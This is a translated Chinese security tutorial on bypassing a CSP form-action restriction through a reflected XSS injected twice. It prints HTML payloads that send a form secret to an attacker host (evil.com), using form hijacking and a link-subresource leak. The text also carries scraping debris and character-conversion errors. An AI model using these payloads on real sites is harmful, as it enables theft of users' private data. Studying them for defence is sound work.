利用反射型XSS二次注入繞過CSP form-action限制

利用反射型XSS二次注入繞過CSP form-action限制

 翻譯:SecurityToolkitjavascript

0x01 簡單介紹

CSP(Content-Security-Policy)是爲了緩解XSS而存在的一種策略, 開發者能夠設置一些規則來限制頁面能夠加載的內容.那文本中所說的form-action又是幹啥的呢?用他能夠限制form標籤"action"屬性的指向頁面, 這樣能夠防止攻擊者經過XSS修改表單的"action"屬性,偷取用戶的一些隱私信息.php

0x02 實例分析

上面講的太抽象了, 若是不想看的話能夠直接跳過....具體一點, 如今使用的是chrome瀏覽器, 假設下面這個secret.html是可能被XSS攻擊的html

#!html //XSS在這裏, victim.com/secret.html?xss=xss <form method="POST" id='subscribe' action='oo.html'>   <input name='secret' value='xiao_mi_mi'/>         //小祕密

若是這個站點沒有CSP, 攻擊者能夠直接經過XSS修改java

#!html <form method="POST" action='http://evil.com/wo_de_mi_mi.php'>   //個人祕密

     

當用戶傻傻地進行"正常'操做時,小祕密已經悄然變成攻擊者的祕密了.而後,有一個管理員試圖用CSP防止這個問題, 他使用白名單策略限制外部JS的加載而且不容許內聯腳本, 好像安全性高了一點.

攻擊者想了下, 把頁面改爲下面這個樣子chrome

#!html <div><form action='http://evil.com/wo_de_mi_mi.php'></div> <form method='POST' id='subscribe' action='oo.html'>

在本來的form以前又加了一個form標籤, 這個新的form標籤沒有閉合,而且直接碰到了老form標籤, 這個時候會發生什麼呢?瀏覽器

老form標籤就這樣消失了! 因此攻擊者再次把用戶的小祕密發送到了本身的服務器上, 並且這時原本應該是POST的secret由於老form標籤的消失如今變成了GET發送, 請求變成了下面這樣.安全

這下管理員鬱悶了, 最後索性用CSP加上了form-action來白名單限定form標籤的action指向, 那麼這樣是否還會出現問題呢?服務器

一塊兒來回顧一下, 如今有一個不能執行JS的反射型XSS和一個只能往白名單域名(固然沒有攻擊者域名...)指向的form標籤.xss

原secret.html學習

#!html // XSS位置, victim.com/secret.html?xss=xss <form method="POST" id='subscribe' action='oo.html'>   <input name='secret' value='xiao_mi_mi'/>

上一頁        

最後攻擊者的改過的頁面以下

#!html <input value='ByPass CSP' type='submit' form='subscribe' formaction='' formmethod='GET' /> <input type='hidden' name='xss' form='subscribe' value="<link rel='subresource' href='http://evil.com/wo_de_mi_mi.php'>"> // XSS, victim.com/secret.html?xss=xss <form method="POST" id='subscribe' action='oo.html'>   <input type='hidden' name='secret' value='xiao_mi_mi'/> </form>

這裏有幾處tricky的地方, 整個代碼的步驟以下

  1. input標籤的form/formmethod/formaction將老form POST到oo.html的secret變成GET發送到secret.html即當前頁面.

  2. 跳轉後仍處於secret.html所以該頁面的XSS還能夠被二次利用注入惡意標籤, 這裏又利用第二個input標籤增長GET請求的xss參數, 因此跳轉以後的URL變爲

    #!html http://victim.com/secret.html?secret=xiao_mi_mi&xss=<link rel='subresource' href='http://evil.com/wo_de_mi_mi.php'>
  3. 此時secret.html再次觸發XSS, 被攻擊者加入下面標籤

    #!html <link rel='subresource' href='http://evil.com/wo_de_mi_mi.php'>

上一頁        

正是最後這個link標籤泄露了本該POST發送的secret, 攻擊者經過利用一個反射型XSS將CSP的form-action繞過.

0x03 最後

CSP可以從某種程度上限制XSS, 對網站的防禦是頗有益義的. 不過相比國外常常可以看到相關的討論,國內CSP的推動和熱度倒是比較不盡人意的, 同時關於CSP也有不少有意思的安全點, 特此翻譯出來以供你們學習和參考.

上一頁       
相關文章
相關標籤/搜索